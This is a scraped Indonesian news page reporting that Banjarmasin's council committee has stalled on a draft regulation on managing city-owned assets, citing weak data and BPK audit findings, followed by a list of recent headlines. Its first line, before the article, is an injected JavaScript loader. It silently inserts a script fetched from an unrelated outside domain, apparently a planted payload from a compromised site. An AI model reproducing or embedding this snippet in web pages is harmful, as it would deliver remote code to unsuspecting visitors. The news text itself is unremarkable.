(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Pembahasan Raperda Aset Banjarmasin Tak Kunjung Tuntas


BANJARMASIN, Rapat Pansus untuk penggodokan Raperda tentang pengelolaan barang milik daerah berakhir buntu. Lantaran, pasal demi pasal dibahas dengan bermodalkan data yang sumir.

Terkait hal tersebut, Anggota DPRD Kota Banjarmasin Achmad Maulana mengatakan, pembahasan Raperda tentang pengelolaan barang milik daerah atau aset belum final untuk diparipurnakan menjadi Perda.

“Salah satu masalahnya, masih minimnya data yang digali sebagai bahan penggodokan Raperda itu, makanya rapat pembahasan akan terus dilakukan, belum lagi sampai finalisasi,” ujarnya.

Ditambahkan Achmad Maulana, pada rapat lanjutan nanti Pansus akan memanggil Badan Keuangan dan Aset Daerah Kota Banjarmasin untuk duduk bersama membahas sejumlah kekurangan data dalam penggodokan aturan itu.

Ia memaparkan, Raperda tersebut harus terus didorong karena dewan sedang menghadapi dua hal yang harus juga terus digenjot yaitu tekanan dari masyarakat kepada dewan untuk segera menggunakan hak interpelasi, karena Pemkot dianggap tidak transparan perihal pengelolaan aset daerah. Dan rujukan dari hasil audit Badan Pemeriksa Keuangan yang dari tahun ke tahun selalu menjadikan masalah aset sebagai catatan koreksi.

“Ada aset dalam bentuk bangunan atau lahan yang dikuasai pihak ketiga, namun tanpa ada kejelasan, yakni seberapa keuntungan Pemko atas kerjasama tersebut,” katanya.

Aset Pemkot yang dikerjasamakan dengan pihak ketiga, ternyata pihak ketiga tersebut menyewakan lagi ke pihak lainnya, bagaimana aturannya belum jelas.

“Jadi semua harus diluruskan, sehingga aset milik daerah benar-benar bisa dilindungi, tidak nantinya malah hilang atau berpindah tangan,” ujarnya.

Sementara itu, Kabidkum dan Perundangan Pemko Banjarmasin Jefrie Fransyah mengatakan, pembahasan Raperda asset menjadi lamban karena materi pembahasan yang terlampau banyak.

Ia menyebut, bab per bab hingga pasal per pasal harus dilihat dengan jeli, agar tidak bertabrakan dengan acuan yang lebih tinggi.

Sebagaimana, jelasnya, PP No 27 Tahun 2014 tentang Pengelolaan Barang Milik Negara/Daerah, kemudian lagi Permendagri No 19 Tahun 2016 tentang Pedoman Pengelolaan Barang Milik Daerah.

Untuk substansi Raperda ini, Jefrie mengaku,sudah sepaham dengan draf yang ada. Hanya untuk rincian yang masih menjadi pembahasan alot, namun dia meyakini akan ada solusinya agar Raperda ini sepakat secepatnya bisa diparipurnakan. (ammar)

Reporter : Ammar
Editor : Abi Zarrin Al Ghfari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.